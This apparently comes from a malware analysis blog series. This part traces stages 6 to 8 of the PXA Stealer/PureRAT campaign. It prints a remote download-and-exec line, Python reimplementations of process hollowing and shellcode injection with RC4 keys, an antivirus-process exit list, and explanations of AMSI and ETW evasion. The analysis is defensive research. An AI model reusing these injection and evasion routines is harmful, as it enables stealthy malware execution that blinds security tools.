13 minutes
PXA Stealers Evolution to PureRAT: Part 4 - .NET Payload Analysis (Stage 6 & 7)
Introduction
Stage 6 marks a major turning point in the campaign: a shift from Python bytecode to compiled Windows executables. What begins with a familiar exec(requests.get().text)
call quickly escalates into in-memory PE injection, using well-known techniques like process hollowing to silently execute a malicious binary.
In this section, we analyse the first .NET-based
payload in the chain. We’ll walk through how the malware decrypts and injects its components, unpacks additional stages on the fly, and leverages runtime evasion tactics like AMSI patching and ETW unhooking, signalling a move toward a far more modular and persistent threat architecture.
Stage 6
We left off with an in-memory execution of Stage 6 via a the pattern:
exec(requests.get(https://0x0[.]st/8WBr.py).text)
But this time, our usual tricks wouldn’t cut it.
Unlike earlier stages, attempting to disassemble this payload using Python’s dis
module completely failed, I suspect the script was too large or complex. Instead, we opt to dump the payload directly to a .pyc
(compiled Python) file for further inspection. And the first thing I noticed? The size.
Size matters:
- Stage 5
.pyc
: ~40 KB - Stage 6
.pyc
: 2917 KB
This alone suggested we were in for something significantly more advanced then the previous InfoStealer.
Running strings
over the .pyc
helped surface some immediate indicators of reuse. Familiar terms like hybrid_decrypt
, rsa_private_key
, xor_key
, and encrypted_data
all reappeared, strongly implying that the same decryption routines from earlier stages were being reused, albeit at a much larger scale.
This strongly suggests that it’s once again using the same hybrid_decrypt
module seen in earlier stages. Since disassembly failed, we instead had to extract the ciphertext and key manually from the raw hex, and the previous stage became instrumental in guiding this process.
By comparing Stage 5 and Stage 6 side by side, we can identify where the key and ciphertext begin and end within the hex dump. For example, in Stage 5 we know the ciphertext ends with the ASCII sequence X*d
, looking at the Hex the sequence just after this ascii is 29 34 DA
. Searching for this in the Stage 6 binary helps us locate a matching structure.
Revealing the Stage 6 ciphertext ends with 64 4D 57
or dMW
in ASCII. Repeating this process for both the key and ciphertext boundaries, we successfully carved out the necessary segments.
With these values extracted, we passed them into the hybrid_decrypt
function and successfully obtained the disassembled output of the next stage. Due to the legth we’ll pipe it to a text file and open is VSCode
Key Imports and Their Functions
Once again, I’ve gone through and identified the key imports to understand what this stage of the malware is designed to do.
System and Platform Inspection
platform
– Used to determine system architecture (e.g., 64-bit vs 32-bit).sys
– Provides access to system-specific parameters and functions, such assys.exit()
.os
– Used for file system interactions and environment variable access.
Windows API and Low-Level Memory Access
ctypes
– Enables direct interaction with Windows APIs and memory management functions.ctypes.wintypes
– Provides common Windows data types for use withctypes
.windll
– Used to load and interact with system DLLs, including:kernel32
– Commonly used for functions likeCreateProcessA
,VirtualAllocEx
,WriteProcessMemory
, etc.ntdll
– Provides lower-level functionality likeNtWriteVirtualMemory
,NtUnmapViewOfSection
, and other native Windows routines.
Payload Handling
pefile
– A third-party library used to parse and inspect PE (Portable Executable) files, often for manual loading or manipulation in memory.base64
– Handles encoding and decoding operations, typically used for obfuscated or embedded payloads.rc4
– Custom RC4 routine for decrypting payloads.
Process Execution
subprocess
– Allows execution of external processes or commands, such as launchingRegASM.exe
or killing other processes usingtaskkill
.
From analysing these imports we can create the following hypothesis:
- Decrypt embedded payloads, which are base64-encoded and RC4-encrypted.
- Inject and execute payloads in memory using low-level Windows APIs.
Analysing the Bytecode
Upon inspection, stage 6 appears to execute two payloads sequentially. For ease of understanding, the relevant logic has been reimplemented in Python.
Chain 1 — PE Injection via Process Hollowing
# Step 1: Set important constants
TARGET_EXE = r"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
runpe_base64_enc = (
"+6tGJXN5UjyfRXroEiesLPbnA+plBIk7JWOVuqd4Up3WQKfw0+Xmb......" # trimmed
)
# Step 2: Decrypt the embedded payload
key = b"7f5c3bde1499274ca4b7fc2c2d54025e"
encrypted = base64.b64decode(runpe_base64_enc)
payload = rc4(encrypted, key)
# Step 3: Create a suspended target process (RegAsm.exe)
startup_info = STARTUPINFO()
process_info = PROCESS_INFORMATION()
success = ctypes.windll.kernel32.CreateProcessA(
ctypes.create_string_buffer(TARGET_EXE.encode()),
None,
None,
None,
False,
CREATE_SUSPENDED,
None,
None,
ctypes.byref(startup_info),
ctypes.byref(process_info)
)
# Step 4: List running processes
process_list = subprocess.run(
["tasklist"],
stdout=subprocess.PIPE,
text=True,
creationflags=subprocess.CREATE_NO_WINDOW
).stdout
# Step 5: Antivirus process check for Avira, Norton, AVG, Avast, and BitDefender.
av_processes = ('bdagent.exe', 'ProductAgentService.exe', 'AvastUI.exe', 'wsc_proxy.exe','afwServ.exe', 'aswEngSrv.exe', 'NortonSvc.exe', 'avgsvcx.exe','avgsvc.exe', 'avguard.exe', 'avshadow.exe', 'avscan.exe', 'sched.exe','avcenter.exe', 'avmailc.exe', 'avwebgrd.exe', 'avgnt.exe', 'avira.servicehost.exe')
if any(proc in process_list for proc in av_processes):
sys.exit(0)
# Step 6: Unmap original executable image (RegAsm.exe)
ctypes.windll.ntdll.NtUnmapViewOfSection(
process_info.hProcess,
target_image_base
)
# Step 7: Allocate memory in the target process for the new payload
allocated_address = ctypes.windll.kernel32.VirtualAllocEx(
process_info.hProcess,
base_address,
size_of_image,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
)
# Step 8: Write the decrypted PE payload into the allocated memory
for section in pe.sections:
remote_address = allocated_address + section.VirtualAddress
data = payload[section.PointerToRawData : section.PointerToRawData + section.SizeOfRawData]
ctypes.windll.ntdll.NtWriteVirtualMemory(
process_info.hProcess,
remote_address,
ctypes.create_string_buffer(data),
len(data),
None
)
# Step 9: Patch thread context to point to entry point of new PE
context.Rcx = allocated_address + entry_point_offset # assuming 64-bit architecture
ctypes.windll.kernel32.SetThreadContext(
process_info.hThread,
ctypes.byref(context)
)
# Step 10: Resume the main thread to begin executing the injected payload
ctypes.windll.kernel32.ResumeThread(
process_info.hThread
)
Stage 7 - Our first PE Payload
The first chain appears to Injection a malicious binary via Process Hollowing.
The PE payload doesn’t appear to use a custom Base64 alphabet like some of the earlier payloads, so we’ll decode it using CyberChef with a standard Base64 decoder followed by RC4 decryption using the known hardcoded key (b"7f5c3bde1499274ca4b7fc2c2d54025e"
). This successfully produced a valid Windows executable.
After successfully decoding and decrypting the payload we exported the result as stage 7.
- SHA256:
f5e9e24886ec4c60f45690a0e34bae71d8a38d1c35eb04d02148cdb650dd2601
- VirusTotal: No matches at time of analysis this appears to be previously unknown (undetected) malware.
PEStudio
will give the original file name from the metadata, wwctn_crypted.exe
, suggests intentional encryption or obfuscation.
Lucky for us
Detect It Easy
identifies the binary as a .NET assembly, meaning it’s compiled into Microsoft Intermediate Language (IL), which can be easily decompiled into readable code using tools like dnSpy
or ILSpy
avoiding the dreaded ghidra
for the time being.
Quick Explanation: Why I Like .NET IL
When a .NET application is compiled, it doesn’t generate raw machine code like C or C++. Instead, it compiles to Microsoft Intermediate Language (IL) a low-level, platform-independent instruction set that’s executed by the .NET Common Language Runtime (CLR).
IL is kinda human-readable, and retains much of the program’s high-level structure, such as:
- Method and class names
- Control flow (loops, conditionals)
- Object-oriented structure
- Metadata and reflection
This makes .NET binaries much easier to reverse engineer compared to native binaries. In many cases, you can recover near-original code using tools like:
- dnSpy – for live IL/C# browsing and editing
- ILSpy – for static decompilation
- dotPeek – JetBrains’ decompiler with more advanced feature sets
Unless the binary is obfuscated or packed, you can usually step through the logic just like reading source code which makes analysing .NET malware far more approachable.
Uh Oh: Packing in .NET Malware
Unfortunately, Detect It Easy flags this binary as likely packed, based on heuristic signatures.
Even though it’s a .NET assembly, the actual payload might be encrypted, compressed, or embedded inside a stub loader making static analysis more difficult.
Packing in .NET works a lot like native packers.
- The original assembly is hidden inside a wrapper (as a resource or byte array).
- A stub loader, often written in C#, decrypts and loads the real payload at runtime.
- This is usually done via reflection,
Assembly.Load()
, or even low-level API calls likeVirtualAlloc
andCreateThread
.
Why It’s Packed:
- Evasion: Obfuscates strings, API calls, and signatures to bypass AV.
- Obfuscation: Hides the actual logic behind dynamic loading.
- Anti-analysis: The real payload might only exist in memory, making my life a lot harder.
To extract the real code, you’ll likely need to execute the binary in a debugger, monitor memory, or hook the .NET runtime to dump the payload once it’s unpacked in memory.
FLOSS
Before diving too deep into the IL or assembly, I like to run FLOSS against suspicious binaries to surface any obfuscated, encoded or runtime-generated strings.
Note: Strings in .NET are stored as UTF-16, the typical strings command won’t return UTF-16LE without some special arguments (
-el
), but lucky for us FLOSS checks for a wide array of ways to store strings.
Running it on stage_7.exe
immediately revealed some useful context:
floss.exe stage_7.exe
+-------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (40) |
+-------------------------------------+
HCPWRnZ1MDRmSzRiy7FIZ/REdU1DWnV0MWF4eXduZ3dR... # Trunked Base64 String
eHl3bmd3
ntdll.dll
EtwEventWrite
kernel32.dll
VirtualProtect
[+] Successfully unhooked ETW!
GetProcAddress
LoadLibraryA
amsi.dll
AmsiScanBuffer
...
[+] URL/PATH :
Arguments :
http
[+] Successfully patched AMSI!
[!] Patching AMSI FAILED
Looks like the author left behind some debugging strings for us, confirming that the malware is attempting two common runtime evasion techniques: patching AMSI and unhooking ETW.
AMSI Patching
AMSI (Antimalware Scan Interface) allows AV engines to scan script content at runtime, including PowerShell, JavaScript, and .NET assemblies loaded dynamically. Malware often bypasses AMSI by patching the AmsiScanBuffer
function in memory. This is usually done by overwriting the first few bytes with a stub that returns an error code like E_INVALIDARG
, effectively disabling AMSI checks.
The result: any malicious code loaded dynamically goes unscanned by AV solutions relying on AMSI.
ETW Unhooking
ETW (Event Tracing for Windows) is used by Windows internals, EDRs, and logging frameworks to track execution flow, including things like thread creation, memory allocation, and .NET method calls. To hide its activity, the malware patches the EtwEventWrite
function in ntdll.dll
, typically replacing it with a stub.
This disables telemetry without crashing the process, rendering runtime behaviour invisible to most monitoring tools.
Possibly Another Payload?
One Base64 string in the FLOSS output stood out, its very long and not immediately decodable via CyberChef. That usually raises flags.
We’ll load it into dnSpy, and try searching for references to the start of the Base64 string.
We can see its pulled us right into the Main()
function of NetLoader
module, this is the only module in this program and will be all the “user” code.
First we see the calls to NetLoader.PatchETW()
and NetLoader.PathAMSI()
then we have two string defined here text
and text1
(With text1
being our suspected payload), lets stop an appreciate how nice is it just to have straight decompiled code, wow I love .NET.
After the base64 there are two more command which make up the main function.
byte[] array = Convert.FromBase64String(text2);
NetLoader.encDeploy(array, text);
Lets check out the encDeploy
function which seems to use the first smaller string. Clicking on it jumps us to that function, which consist of the one liner.
NetLoader.invokeCSharpMethod(NetLoader.getEntryPoint(NetLoader.loadASM(NetLoader.xorEncDec(data, xorKey))));
working backwards xorEncDec
is next up, which consist of
private static byte[] xorEncDec(byte[] inputData, string keyPhrase)
{
byte[] array = new byte[inputData.Length];
for (int i = 0; i < inputData.Length; i++)
{
array[i] = inputData[i] ^ Encoding.UTF8.GetBytes(keyPhrase)[i % Encoding.UTF8.GetBytes(keyPhrase).Length];
}
return array;
}
This is a standard XOR decoding routine that uses a UTF-8 string as the key, and if we recall from earlier, that smaller string is likely the xorPhrase
.
Rebuilding the routine in CyberChef (Base64 → XOR with key), we successfully extracted another executable which we will refer to as stage 8.
- SHA256:
06FC70AA08756A752546198CEB9770068A2776C5B898E5FF24AF9ED4A823FD9D
- Original filename:
maegkffm.exe
- Detection: No hits on VirusTotal — appears to be previously unknown.
While that’s interesting on its own, we’re not jumping ahead. Instead, let’s follow the full code path to see how it’s used.
Once the payload is decrypted, it’s passed into NetLoader.loadASM(decryptedBytes)
which uses the built-in .NET method Assembly.Load(byte[])
, which loads the executable directly into memory, the flow continues through getEntryPoint(memoryAssembly)
which retrieves the entry point of the loaded assembly and finally invokeCSharpMethod(entryPoint)
executes the method via reflection.
Modular Loader Design
This loader “NetLoader” appears to be modular in nature. Beyond just decrypting and executing the embedded payload, it also includes a method named TriggerPayload()
which supports multiple delivery mechanisms, either reading an XOR-encoded payload from disk or downloading one from the internet.
However, in the sample we’re analysing today, TriggerPayload()
is never actually called. So while this flexibility may be intended for other campaigns or later stages, it’s not relevant to this specific execution chain at this time.
Onto Payload 2 - Shellcode Decryption and Execution
Following the execution of the first PE payload via process hollowing, Stage 6 proceeds with a second chain this time opting for direct shellcode injection into the current process, rather than hollowing an external binary.
Chain 2 — In-Memory Shellcode Execution
shellcode_base64_enc = ("+6tGJXN5UjyfRXroEiesLPbnA+plBIk7JWOVuqd4Up3WQKfw0+X........")
# Step 1: Decrypt the final shellcode payload
shellcode_key = b"ec7ee0dbc7a6bacdeb4eb7409cd46699"
encrypted_shellcode = base64.b64decode(shellcode_base64_enc)
buf = rc4(encrypted_shellcode, shellcode_key)
# Step 2: Allocate memory for the shellcode in the current process
address = ctypes.windll.kernel32.VirtualAlloc(
None,
len(buf),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
)
# Step 3: Copy the shellcode into the allocated memory
ctypes.windll.kernel32.RtlMoveMemory(
address,
ctypes.create_string_buffer(buf),
len(buf)
)
# Step 4: Create a thread to execute the shellcode
ctypes.windll.kernel32.CreateThread(
None,
0,
address,
None,
0,
None
)
I won’t be diving into this shellcode payload here partly because this write-up is already dense enough, but mostly because shellcode analysis is a world of its own. It deserves a dedicated section where we can unpack it properly without glossing over the details.
For now, it’s enough to note that Stage 6 concludes by injecting and executing raw shellcode in memory, reinforcing the adversary’s shift toward low-level, stealthy execution techniques.
Quick Recap: What Did We Find in Part 4?
Stage 6 marked a major turning point, pivoting from Python scripts to compiled Windows executables delivered entirely in-memory. What started with another exec(requests.get().text)
call quickly escalated into advanced process hollowing and shellcode injection techniques.
This stage introduced:
-
Massive Python bytecode payload (~3 MB) carrying embedded PE and shellcode
-
Hybrid decryption routines (Base64 + RC4 + XOR) re-used
-
Process hollowing into
RegAsm.exe
to execute a hidden PE payload -
AV process checks with targeted exits against Avira, Norton, Avast, AVG, BitDefender
-
Extraction of Stage 7: a packed .NET loader with modular design
-
Runtime evasion tactics: AMSI patching and ETW unhooking
-
Discovery of Stage 8, an additional .NET executable loaded purely via reflection
-
Evidence of a second payload chain direct shellcode execution
Each element reinforced the attacker’s progression toward a layered, modular loader framework that:
- Executes everything in-memory to avoid file-based detection
- Disables core Windows security interfaces (AMSI, ETW) to blind AV/EDR
- Chains multiple loaders together, each responsible for decrypting and delivering the next
- Demonstrates a low-level emphasis on stealth, resilience, and modularity
Up Next: Part 5 — .NET Loader Deep Dive
Stage 7 may have given us an obfuscated EXE, but Stage 8 takes the gloves off: a true .NET loader designed to make any analyst go insane.
the attackers abandon simple tricks and begin leaning on the full power of .NET assemblies. Every type name, every method call, even the decryption keys themselves are hidden under layers of runtime-only obfuscation, buried in code designed to waste an analyst’s time. All to drop a .NET Reactor–protected DLL, ramping up the difficulty curve again.
Stay tuned for Part 5, where we pivot into dynamic memory dumping and debugger-assisted tracing to peel back this next layer — and discover just how far this campaign is willing to go to stay invisible.
From simple obfuscation to full-blown commercial protections, Stage 8 marks the turning point where analysis becomes a contest between analyst and threat actor.
2592 Words
2025-09-01 00:00